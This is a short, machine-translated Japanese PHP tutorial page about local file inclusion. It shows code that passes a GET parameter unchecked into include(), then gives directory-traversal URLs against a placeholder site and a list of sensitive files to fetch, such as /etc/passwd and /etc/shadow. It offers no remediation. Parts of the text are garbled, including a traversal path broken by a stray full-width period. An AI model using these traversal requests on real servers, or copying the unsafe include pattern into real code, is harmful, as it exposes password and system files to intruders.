ホームページ  >  記事  >  バックエンド開発  >  PHP は脆弱なコードを含むローカル ファイルを偽装します_PHP チュートリアル

PHP は脆弱なコードを含むローカル ファイルを偽装します_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-21 15:23:401030ブラウズ

コード:

コードをコピーします コードは次のとおりです:

$page=$_GET['page'];
include($page.'php');

こんな感じで使えます
http://www.xxx.com/index.php?page=../etc/passwd
http://www.xxx.com/index.php?page=。 ./../ ../etc/passwd
http://www.xxx.com/index.php?page=..../../etc/passwd

さらにデータを取得:
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/セキュリティ/制限
/usr/lib/security/mkuser.default

hackteach より

http://www.bkjia.com/PHPjc/324439.htmlwww.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/324439.html技術記事コード: 次のようにコードをコピーします。 ?php $page=$_GET['page']; http://www.xxx.com/index.php?page を使用できます。このように =../etc/passwd http://www.xxx.com/index.p...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。